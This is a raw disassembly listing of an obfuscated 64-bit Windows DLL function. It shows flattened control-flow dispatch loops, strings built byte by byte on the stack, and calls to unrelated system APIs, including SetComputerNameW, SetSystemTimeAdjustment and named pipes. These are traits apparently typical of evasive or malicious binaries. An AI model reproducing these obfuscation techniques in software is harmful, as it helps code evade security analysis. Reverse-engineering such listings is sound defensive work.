lea rcx, [rbp + 0x400]
call fcn.1800011d0
dec ebx
cmp ebx, 0xbc
ja 0x180036a80
movzx r12d, byte [rsp + 0x6a]
xor r8d, r8d
cmp qword [rbp + 0x18], 0xffffffffffffffff
mov ecx, r8d
mov esi, dword [rbp - 0x48]
mov r14, qword [rbp - 0x68]
cmovne ecx, r12d
mov rbx, qword [rbp - 0x60]
movzx r12d, cl
mov byte [rsp + 0x6a], cl
jmp 0x180036c36
mov word [rbp + 0x7f0], r8w
lea rdx, [0x180099354]
mov r8d, 2
lea rcx, [rbp + 0x7f0]
call fcn.1800568cc
jmp 0x180036c33
movsd xmm0, qword [str.ndFi]
mov eax, 0x6c
movsd qword [rbp + 0x7f4], xmm0
mov word [rbp + 0x7fc], ax
jmp case.0x1800369ed.6
mov eax, 0x65
mov r12b, 1
mov dword [rbp + 0x7fe], eax
mov byte [rsp + 0x6a], r12b
jmp case.0x1800369ed.6
xor edx, edx
lea rcx, [rbp + 0x1b0]
mov r8d, 0x250
call fcn.1800544b0
mov rax, qword [sym.imp.KERNEL32.dll_OpenFile]
lea r8, [rbp + 0x1b0]
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x7f0]
xor eax, eax
xor r9d, r9d
mov dword [rsp + 0x28], eax
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov qword [rbp + 0x18], rax
xor r8d, r8d
lea rdx, [0x180000000]
add esi, 0x18
mov dword [rbp - 0x48], esi
lea eax, [rsi + 0x17]
cmp eax, 0xa7
jb 0x1800369d0
mov dword [r14], 0x13
mov ecx, 0x7b
inc ecx
cmp ecx, 0x7e
jb 0x180036966
mov esi, 0x58d7
jmp 0x180038f6c
cmp esi, 0x84ed
ja 0x18003829a
je 0x18003812b
cmp esi, 0x7245
ja 0x1800375f9
je 0x1800374da
cmp esi, 0x5901
je 0x1800374c4
cmp esi, 0x65a3
je 0x18003748e
cmp esi, 0x6789
jne 0x180038f70
mov r14, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x60]
mov eax, 0x8b
cmp eax, 0x8b
je 0x180036cde
cmp eax, 0x234b
je 0x180039193
jmp 0x180037117
movsx edx, byte [rsi]
lea eax, [rdx - 9]
cmp eax, 0x74
ja case.0x180038a5d.19
lea r9, [0x180000000]
cdqe
movzx eax, byte [r9 + rax + 0x398d4]
mov ecx, dword [r9 + rax*4 + 0x398b8]
add rcx, r9
jmp rcx
cmp dword [r14 + 4], 0
jne 0x180037112
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xffffffffffffffff
jae 0x180036d77
movzx eax, byte [rsi]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], al
xor r8d, r8d
mov rax, qword [r14 + 8]
xor edx, edx
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp 0x180037112
mov dword [r14 + 4], 1
jmp 0x180037112
mov rax, qword [r14 + 8]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov byte [rsp + 0x58], dl
xor edx, edx
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
mov dword [r14], 0x14
jmp 0x180037112
mov eax, 0x3f
cmp eax, 0x3f
je 0x180036df8
inc eax
cmp eax, 0x40
jb 0x180036dc4
mov ebx, 0x52
cmp ebx, 0x52
je 0x180036e42
cmp ebx, 0x138a
je 0x180036e36
cmp ebx, 0x26c2
je 0x180036e2d
cmp ebx, 0x39fa
je 0x180037112
jmp 0x180036e6b
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rax, qword [r11 + 0x28]
test rax, rax
je 0x180036e13
mov rcx, qword [rcx]
call rax
mov edx, 0xae
lea rcx, [r14 + 8]
call fcn.1800329d0
mov dword [r14], 0
jmp 0x180037112
mov dword [r14], 0x1a
jmp 0x180036e6b
cmp qword [r11], 0
je 0x180036e6b
call qword [r11 + 8]
jmp 0x180036e6b
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rax, qword [r11 + 0x28]
test rax, rax
je 0x180036e5d
mov rcx, qword [rcx]
call rax
mov edx, 0xae
lea rcx, [r14 + 8]
call fcn.1800329d0
mov r11, qword [rbp - 0x80]
add ebx, 0x1338
cmp ebx, 0x4ce0
jbe 0x180036dd5
mov ebx, 0x4c
nop word [rax + rax]
cmp ebx, 0x4dc8
ja 0x180036fcf
je 0x180036f44
cmp ebx, 0x4c
je 0x180036f1d
cmp ebx, 0x1a20
je 0x180036f11
cmp ebx, 0x33f4
jne 0x1800370a7
mov eax, 0x7069
mov byte [rbp + 0x7f7], 0
mov r8d, 4
mov word [rbp + 0x7f5], ax
lea rdx, [0x180099495]
lea rcx, [rbp + 0x7f0]
call fcn.180062ed0
mov r8d, 5
lea rdx, [0x1800994f2]
lea rcx, [rbp + 0x7f0]
call fcn.180062ed0
mov eax, 0x6970
mov word [rbp + 0x800], ax
jmp 0x1800370a7
mov byte [rbp + 0x7f5], 0
jmp 0x1800370a7
mov r8d, 3
lea rdx, [0x180099439]
lea rcx, [rbp + 0x7f0]
call fcn.18005c310
mov word [rbp + 0x7f3], 0x705c
jmp 0x1800370a7
mov r8d, 1
mov byte [rbp + 0x802], 0
lea rdx, [0x18009957c]
lea rcx, [rbp + 0x7f0]
call fcn.180062ed0
mov r8d, 1
lea rdx, [0x1800995ba]
lea rcx, [rbp + 0x7f0]
call fcn.180062ed0
mov rax, qword [rbp - 0x80]
mov byte [rsp + 0x69], 1
mov rax, qword [rax + 0x28]
test rax, rax
je 0x180036fb4
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rcx, qword [rcx]
call rax
mov edx, 0xae
lea rcx, [r14 + 8]
call fcn.1800329d0
jmp 0x1800370a7
mov edx, 0xae
lea rcx, [r14 + 8]
call fcn.1800329d0
mov qword [r14 + 8], 0
jmp 0x1800370a7
cmp ebx, 0x679c
je 0x18003708f
cmp ebx, 0x8170
jne 0x1800370a7
mov rcx, qword [rbp + 0x50]
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov r9d, 0xff
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 0x200
lea edx, [r12 + 3]
mov dword [rsp + 0x20], 0x200
lea r8d, [r12 + 6]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [r14], 0x1a
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800372a9
mov ebx, 0xe
lea r14d, [r12 + 0x20]
lea r13d, [r12 + 0x43]
cmp ebx, 0x110
ja 0x18003722f
je 0x1800371cb
mov eax, ebx
sub eax, 0xe
je 0x180037196
sub eax, 0x56
je 0x18003718a
cmp eax, 0x56
jne 0x180037288
mov eax, dword [str.dPipe]
mov dword [rbp + 0x82a], eax
movzx eax, word [0x1800995d8]
mov word [rbp + 0x82e], ax
jmp 0x180037288
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x18003709c
call qword [rax + 0x18]
lea rax, [rbp + 0x7f0]
mov qword [rbp + 0x50], rax
add ebx, 0x19d4
cmp ebx, 0x9af8
jbe 0x180036e90
mov ebx, 0x4f
nop
cmp ebx, 0x21f2
ja case.0x180038a5d.19
cmp ebx, 0x4f
je 0x180037345
cmp ebx, 0x1148
jne 0x180037394
lea rcx, [r14 + 8]
mov edx, 0xae
call fcn.1800329d0
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx + 0x48]
test rax, rax
je 0x1800370fe
call rax
lea rcx, [rbp + 0x160]
mov dword [r14], 0x1b
call qword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov eax, 0x8b
mov r11, qword [rbp - 0x80]
add eax, 0x22c0
mov rsi, qword [rbp - 0x60]
mov r8d, 0
cmp eax, 0x4580
jbe 0x180036cc7
mov ecx, 0x56
nop word [rax + rax]
mov eax, ecx
sub eax, 0x53
je case.0x180034497.56
sub eax, 1
je 0x180037468
sub eax, 1
je 0x180037461
cmp eax, 1
jne 0x180037473
movsx eax, byte [rsi]
add eax, 0xffffffd5
cmp eax, 0xe
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x3994c]
add rcx, rdx
jmp rcx
lea rdx, [0x1800995dc]
jmp 0x180037276
movzx eax, word [0x1800995e0]
lea rdx, str.ateNa
mov word [rbp + 0x820], r13w
mov r8d, 5
mov word [rbp + 0x821], ax
movzx eax, byte [0x1800995e2]
mov byte [rbp + 0x823], al
jmp 0x18003727c
mov eax, dword [str.faile]
lea rdx, [0x1800995c8]
mov word [rbp + 0x82f], r14w
lea rcx, [rbp + 0x820]
mov dword [rbp + 0x830], eax
mov r8d, 2
movzx eax, word [0x1800995c4]
mov word [rbp + 0x834], ax
call fcn.180062ed0
mov eax, dword [str._GLE]
lea rdx, [0x180098c94]
mov dword [rbp + 0x837], eax
mov r8d, 1
movzx eax, word [0x1800995d0]
mov word [rbp + 0x83b], ax
jmp 0x18003727c
mov eax, ebx
sub eax, 0x166
je 0x18003725b
cmp eax, 0x56
jne 0x180037288
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x820]
lea rcx, [rbp + 0x400]
call fcn.1800011d0
jmp 0x180037288
lea rdx, [0x180093880]
lea rcx, [rbp + 0x83d]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [0x1800995ec]
mov r8d, 2
lea rcx, [rbp + 0x820]
call fcn.180062ed0
add ebx, 0x56
cmp ebx, 0x212
jb 0x180037041
mov r14, qword [rbp - 0x68]
xor al, al
movzx r13d, byte [rsp + 0x68]
mov byte [rsp + 0x69], al
jmp 0x1800372ae
movzx eax, byte [rsp + 0x69]
test al, al
je 0x180037112
mov ebx, 0x42
nop dword [rax + rax]
cmp ebx, 0x42
je 0x18003732b
cmp ebx, 0xca2
je 0x180037318
cmp ebx, 0x1902
je 0x180037301
cmp ebx, 0x2562
jne 0x180037332
test al, al
je 0x180037332
lea rdx, [rbp + 0x820]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
movzx eax, byte [rsp + 0x69]
jmp 0x180037332
cmp rsi, 0xffffffffffffffff
je 0x180037332
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov byte [rsp + 0x69], al
jmp 0x180037332
xorps xmm0, xmm0
movups xmmword [rbp + 0x820], xmm0
movups xmmword [rbp + 0x830], xmm0
jmp 0x180037332
mov qword [rbp + 0x830], r12
add ebx, 0xc60
cmp ebx, 0x3180
jbe 0x1800372c0
jmp 0x180037112
mov rcx, qword [r14 + 8]
movsd xmm0, qword [0x1800995f0]
mov eax, dword [0x1800995f8]
mov dword [rbp + 0x160], 0x3f
mov dword [rbp + 0x162], 0x2a
movsd qword [rbp + 0x164], xmm0
mov dword [rbp + 0x16c], eax
test rcx, rcx
je 0x1800347eb
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x180037394
mov rcx, qword [rcx]
call rax
add ebx, 0x10f9
jmp 0x1800370c0
mov dword [r14 + 4], r8d
lea r9, [rsp + 0x58]
movzx eax, byte [rsi]
xor edx, edx
mov byte [rsp + 0x58], al
mov ecx, 0xbd
mov rax, qword [r14 + 8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
mov dword [r14], 0x16
lea ecx, [rax + 0x54]
jmp 0x180037473
cmp dword [r14 + 4], 0
jne 0x18003745a
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xfffffffffffffffe
jae 0x180037452
movzx eax, byte [rsi]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], al
xor r8d, r8d
mov rax, qword [r14 + 8]
xor edx, edx
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
mov dword [r14], 0x15
lea ecx, [rax + 0x54]
jmp 0x180037473
mov dword [r14 + 4], 1
mov dword [r14], 0x15
mov ecx, 0x55
jmp 0x180037473
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
dec ecx
mov r8d, 0
cmp ecx, 0x52
ja 0x180037140
mov esi, 0x6789
jmp 0x180038f6c
mov rax, qword [sym.imp.USER32.dll_RegisterDeviceNotificationW]
lea r9, [rbp + 0x30]
mov rdx, qword [rbp - 0x60]
mov rcx, r11
mov qword [rbp + 0x30], r8
lea r8, [rbp + 0xa8]
mov qword [rbp + 0x70], rax
mov dword [rbp + 0xb4], 6
call qword [rbp + 0x58]
mov dword [rbp - 8], eax
jmp 0x180038f6c
mov dword [rbp + 0xac], r8d
mov dword [rbp + 0xb0], 1
jmp 0x180038f70
cmp dword [rbp - 8], 0
jne 0x18003911d
mov rdx, qword [rbp + 0x30]
mov rcx, qword [r12]
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
call qword [rbp + 0x60]
mov rcx, qword [rbp + 0x30]
mov ebx, eax
call qword [rbp + 0x68]
cmp ebx, 0xffffffff
je 0x18003911d
mov ebx, 0xe
lea esi, [rbx + 0x57]
lea edi, [rbx + 0x40]
lea r15d, [rbx + 0x66]
mov eax, ebx
sub eax, 0xa
je 0x180037597
sub eax, 1
je 0x18003758b
sub eax, 1
je 0x180037578
sub eax, 1
je 0x180037559
cmp eax, 1
jne 0x1800375d8
mov eax, 0x52
mov dword [rbp + 0x7f5], 0x726574
mov word [rbp + 0x7f0], ax
mov dword [rbp + 0x7f1], 0x73696765
jmp 0x1800375d8
mov eax, 0x44
mov word [rbp + 0x7f8], ax
mov word [rbp + 0x7f9], si
mov dword [rbp + 0x7fa], 0x65636976
jmp 0x1800375d8
mov word [rbp + 0x7fe], di
mov dword [rbp + 0x7ff], 0x6669746f
jmp 0x1800375d8
mov dword [rbp + 0x803], 0x616369
jmp 0x1800375d8
mov r8, qword [rbp + 0x70]
lea rdx, [rbp + 0x7f0]
mov eax, 0x69
mov word [rbp + 0x806], r15w
mov word [rbp + 0x807], ax
lea rcx, [rbp + 0x940]
mov eax, 0x70
mov dword [rbp + 0x808], 0x25206e6f
mov word [rbp + 0x80c], ax
call fcn.1800011d0
dec ebx
cmp ebx, 9
ja 0x180037518
mov edi, dword [rbp - 0x74]
mov esi, dword [rbp - 0x48]
mov r15, qword [rsp + 0x78]
movzx r13d, byte [rsp + 0x68]
jmp 0x180038f6c
cmp esi, 0x763b
je 0x18003761c
cmp esi, 0x7ee7
jne 0x180038f70
mov byte [rbp - 0x78], 1
mov edi, dword [rbp - 0x78]
mov dword [rbp - 0x74], edi
jmp 0x180038f70
mov r14, qword [rbp - 0x68]
mov r12d, dword [rsp + 0x6c]
mov rsi, qword [rbp - 0x60]
mov ecx, 0x9e
jmp 0x180037634
mov r14, qword [rbp - 0x68]
mov eax, ecx
sub eax, 0x9e
je 0x18003764b
cmp eax, 0x24
je case.0x180034497.56
jmp 0x180038108
movsx eax, byte [rsi]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x180037675.14
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x399a0]
mov ecx, dword [rdx + rax*4 + 0x39988]
add rcx, rdx
jmp rcx
mov ebx, 0x87
nop dword [rax]
cmp ebx, 0x87
je 0x1800376e7
cmp ebx, 0xb13
je 0x1800376c5
cmp ebx, 0x159f
jne 0x18003776f
cmp dword [rbp - 4], 0
mov ebx, r8d
movzx eax, byte [rbp - 0x50]
cmovne ebx, eax
test bl, bl
je 0x1800376bd
xor edx, edx
lea rcx, [rbp + 0x820]
call qword [sym.imp.USER32.dll_CallMsgFilterW]
mov byte [rbp - 0x50], bl
jmp 0x1800380f8
mov dword [rsp + 0x20], r8d
lea rcx, [rbp + 0x820]
xor r8d, r8d
xor r9d, r9d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
mov dword [rbp - 4], eax
jmp 0x18003776f
cmp dword [r14 + 4], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x820], xmm0
mov byte [rbp - 0x50], 1
movups xmmword [rbp + 0x830], xmm0
movups xmmword [rbp + 0x840], xmm0
jne 0x18003776f
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xfffffffffffffffe
jae 0x180037767
movzx eax, byte [rsi]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], al
xor r8d, r8d
mov rax, qword [r14 + 8]
xor edx, edx
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp 0x18003776f
mov dword [r14 + 4], 1
add ebx, 0xa8c
cmp ebx, 0x1fa4
ja case.0x180037675.9
xor r8d, r8d
jmp 0x180037680
mov esi, 0x99
nop word [rax + rax]
mov eax, esi
sub eax, 0x99
je 0x1800377a4
cmp eax, 0xa
je 0x1800380f8
jmp 0x1800377d8
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x1800377c3
mov rcx, qword [rcx]
call rax
mov edx, 0xae
lea rcx, [r14 + 8]
call fcn.1800329d0
mov dword [r14], 0
add esi, 0xa
cmp esi, 0xad
jb 0x180037790
mov ebx, 0xb9
nop dword [rax + rax]
cmp ebx, 0x1a9
ja 0x180037948
je 0x180037934
mov eax, ebx
sub eax, 0xb9
je 0x18003792a
sub eax, 0x30
je 0x18003791d
sub eax, 0x30
je 0x18003790d
sub eax, 0x30
je 0x180037883
cmp eax, 0x30
jne 0x180037a31
xorps xmm0, xmm0
lea rcx, [r14 + 8]
xor eax, eax
mov edx, 0xae
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0x140], rax
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
call fcn.1800329d0
mov qword [rbp + 0x90], 0
jmp 0x180037a31
xorps xmm0, xmm0
mov dword [rbp + 0x828], 2
xor eax, eax
xor edx, edx
mov dword [rbp + 0x85c], eax
mov rax, qword [rbp - 0x80]
movups xmmword [rbp + 0x82c], xmm0
mov qword [rbp + 0x820], rdx
movups xmmword [rbp + 0x83c], xmm0
mov rax, qword [rax + 0x28]
movaps xmm1, xmmword [rbp + 0x830]
movaps xmmword [rbp + 0x180], xmm1
movups xmmword [rbp + 0x84c], xmm0
movaps xmm0, xmmword [rbp + 0x820]
movaps xmm1, xmmword [rbp + 0x850]
movaps xmmword [rbp + 0x170], xmm0
movaps xmm0, xmmword [rbp + 0x840]
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x1a0], xmm1
test rax, rax
je 0x180037a31
mov rcx, qword [r14 + 8]
mov rcx, qword [rcx]
call rax
jmp 0x180037a31
cmp qword [r14 + 8], 0
je 0x1800347eb
jmp 0x180037a31
mov qword [rbp - 0x40], 0
jmp 0x180037a31
mov byte [rsp + 0x50], 1
jmp 0x180037a31
mov qword [rbp + 0x78], 0xa
mov dword [rbp], 0
jmp 0x180037a31
mov eax, ebx
sub eax, 0x1d9
je 0x1800379ff
sub eax, 0x30
je 0x1800379f6
sub eax, 0x30
je 0x1800379d9
cmp eax, 0x30
jne 0x180037a31
cmp byte [rsp + 0x50], 0
je 0x1800379b6
mov rbx, qword [rbp - 0x40]
lea r9d, [rax + 0x10]
mov rcx, rbx
lea r8, [rbp + 0x170]
lea edx, [rax - 0x2e]
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9, qword [rbp + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, dword [rbp]
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.USER32.dll_SendNotifyMessageW]
jmp 0x1800380f8
xor eax, eax
mov ecx, eax
mov qword [rbp + 0x80], rax
movzx eax, byte [rsp + 0x50]
cmp qword [rbp - 0x40], rcx
cmovne ecx, eax
mov byte [rsp + 0x50], cl
jmp 0x180037a31
mov dword [r14], 0x1a
jmp 0x180037a31
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x180037a0c
call qword [rax + 8]
imul rax, qword [rbp + 0x78], 0x64
xor edx, edx
mov qword [rbp + 0x88], 0
xor ecx, ecx
mov qword [rbp + 0x170], rax
call qword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov qword [rbp - 0x40], rax
add ebx, 0x30
cmp ebx, 0x299
jb 0x1800377f0
mov esi, 0x32
mov eax, esi
sub eax, 0x30
je 0x1800380f8
sub eax, 1
je 0x180037ab5
cmp eax, 1
jne 0x180037d4a
mov rbx, qword [rbp - 0x80]
mov rax, qword [rbx + 0x28]
test rax, rax
je 0x180037a7d
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rcx, qword [rcx]
call rax
mov rcx, qword [r14 + 8]
call fcn.180062c04
mov qword [r14 + 8], 0
cmp qword [rbx], 0
je 0x180037a97
call qword [rbx + 0x18]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov r12d, eax
mov dword [rsp + 0x6c], eax
mov dword [r14], 0x1a
jmp 0x180037d4a
test r12d, r12d
je 0x180037d4a
mov ebx, 0x6c
lea r14d, [rbx + 3]
nop word [rax + rax]
cmp ebx, 0x6978
ja 0x180037c4d
je 0x180037bef
cmp ebx, 0x6c
je 0x180037ba0
cmp ebx, 0x2370
je 0x180037b80
cmp ebx, 0x4674
jne 0x180037d34
lea rdx, str.s_the
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rbp + 0x820]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180037b21
movzx eax, word [0x180098a74]
lea rdx, [0x18009916c]
mov word [rcx], ax
mov r8d, 4
lea rcx, [rbp + 0x82d]
call fcn.18005c310
lea rdx, [0x180099170]
lea rcx, [rbp + 0x830]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov r8d, 4
lea rdx, str.us_t
lea rcx, [rbp + 0x820]
call fcn.180062ed0
jmp 0x180037d34
movzx eax, word [0x18009918c]
mov word [rbp + 0x825], ax
movzx eax, byte [0x18009918e]
mov byte [rbp + 0x827], al
jmp 0x180037d34
movzx eax, word [0x18009915c]
lea rdx, [0x180093984]
mov word [rbp + 0x820], ax
lea rcx, [rbp + 0x820]
movzx eax, byte [0x18009915e]
mov byte [rbp + 0x822], al
call qword [sym.imp.KERNEL32.dll_lstrcatA]
movzx eax, word [0x180099160]
mov word [rbp + 0x823], ax
movzx eax, byte [0x180099162]
mov byte [rbp + 0x825], al
jmp 0x180037d34
lea rdx, [0x18009063c]
mov dword [rbp + 0x837], 0x657268
lea rcx, [rbp + 0x83a]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [str._execu]
lea rdx, [0x180098334]
mov dword [rbp + 0x83c], eax
lea rcx, [rbp + 0x842]
movzx eax, word [0x180099188]
mov word [rbp + 0x840], ax
movzx eax, byte [0x18009918a]
mov byte [rbp + 0x842], al
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x180037d34
cmp ebx, 0x8c7c
je 0x180037d2c
cmp ebx, 0xaf80
je 0x180037cfc
cmp ebx, 0xd284
jne 0x180037d34
movzx eax, word [0x18009917c]
lea rdx, [0x180099180]
mov word [rbp + 0x84b], ax
lea rcx, [rbp + 0x84d]
movzx eax, byte [0x18009917e]
mov r8d, 3
mov byte [rbp + 0x84d], al
call fcn.18005c310
mov r8d, 2
lea rdx, [0x180098c94]
lea rcx, [rbp + 0x84f]
call fcn.18005c310
lea rcx, [rbp + 0x820]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180037cd0
movzx eax, word [0x180093880]
lea rdx, [rbp + 0x820]
mov word [rcx], ax
mov r8d, r12d
lea rcx, [rbp + 0x400]
call fcn.1800011d0
jmp 0x180037d34
lea rdx, [0x180090120]
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [str._stat]
mov dword [rbp + 0x846], eax
movzx eax, word [0x180099194]
mov word [rbp + 0x84a], ax
jmp 0x180037d34
mov word [rbp + 0x844], r14w
add ebx, 0x2304
cmp ebx, 0xf51c
jbe 0x180037ad0
mov r14, qword [rbp - 0x68]
dec esi
cmp esi, 0x2f
ja 0x180037a45
mov r14d, 0xc7
mov dword [rbp - 0x48], r14d
nop
mov eax, r14d
sub eax, 0xc7
je 0x180037dcc
sub eax, 1
je 0x180037d7d
cmp eax, 1
je 0x1800380f8
jmp 0x180037fb3
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov rbx, rax
mov rax, qword [rbp - 0x68]
mov dword [rax], 0x1b
test rbx, rbx
jne 0x180037da4
mov byte [rbp - 0x58], bl
jmp 0x180037fb3
cmp byte [rbp - 0x58], 0
je 0x180037fb3
lea rdx, [rbp + 0x820]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapWalk]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
jmp 0x180037fb3
mov rdx, qword [rbp - 0x80]
mov byte [rbp - 0x58], 1
cmp qword [rdx + 0x28], 0
je 0x180037f6a
mov esi, 0x4b
mov eax, esi
sub eax, 0x4b
je 0x180037f36
sub eax, 0x19
je 0x180037f0d
sub eax, 0x19
je 0x180037eb4
cmp eax, 0x19
jne 0x180037f55
test r13b, r13b
je 0x180037ea3
lea rdx, [rbp + 0x7f0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
jne 0x180037e40
mov rbx, qword [rbp - 0x68]
xor r13b, r13b
mov byte [rsp + 0x68], r13b
mov qword [rbx + 8], 0
jmp 0x180037f55
mov ebx, 0xc
xor r14d, r14d
mov eax, ebx
sub eax, 0xa
je 0x180037e65
sub eax, 1
je 0x180037e5f
cmp eax, 1
jne 0x180037e98
mov byte [rbp - 0x28], 0x20
jmp 0x180037e98
mov dword [rbp - 0x30], r14d
jmp 0x180037e98
movzx eax, word [rbp + 0x7f2]
lea r8, [rbp + 0x98]
sub ax, 0x11
lea rdx, [rbp + 0xa0]
mov word [rbp - 0x2e], ax
mov rcx, r15
mov r9d, dword [rbp - 0x30]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
dec ebx
cmp ebx, 9
ja 0x180037e48
mov r14d, dword [rbp - 0x48]
mov rbx, qword [rbp - 0x68]
mov qword [rbx + 8], 0
jmp 0x180037f55
mov rbx, qword [rbp - 0x68]
mov rcx, qword [rbx + 8]
call fcn.180062c04
mov ecx, 0xfffffff5
mov dword [rbp - 0x28], 0
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r8, [rbp + 4]
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x20]
mov r15, rax
lea rcx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
test eax, eax
je 0x180037efd
mov edx, dword [rbp + 4]
mov ecx, dword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
cmp r15, 0xffffffffffffffff
jne 0x180037f55
xor r13b, r13b
mov byte [rsp + 0x68], r13b
jmp 0x180037f55
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x7f0], xmm0
mov dword [rbp + 0x800], eax
mov word [rbp + 0x804], ax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0xa0], rax
jmp 0x180037f55
mov rbx, qword [rbp - 0x68]
mov r13b, 1
mov byte [rsp + 0x68], r13b
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1800347eb
mov rcx, qword [rcx]
call qword [rdx + 0x28]
mov rdx, qword [rbp - 0x80]
add esi, 0x19
cmp esi, 0xaf
jb 0x180037de4
jmp 0x180037f7f
mov rbx, qword [rbp - 0x68]
mov rcx, qword [rbx + 8]
call fcn.180062c04
mov qword [rbx + 8], 0
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x840], rax
mov rax, qword [rbp - 0x80]
movups xmmword [rbp + 0x820], xmm0
movups xmmword [rbp + 0x830], xmm0
mov rax, qword [rax + 0x48]
test rax, rax
je 0x180037fa8
call rax
mov qword [rbp + 0x820], 0
inc r14d
mov dword [rbp - 0x48], r14d
cmp r14d, 0xca
jb 0x180037d60
mov ebx, 0xd
nop dword [rax]
cmp ebx, 0x112
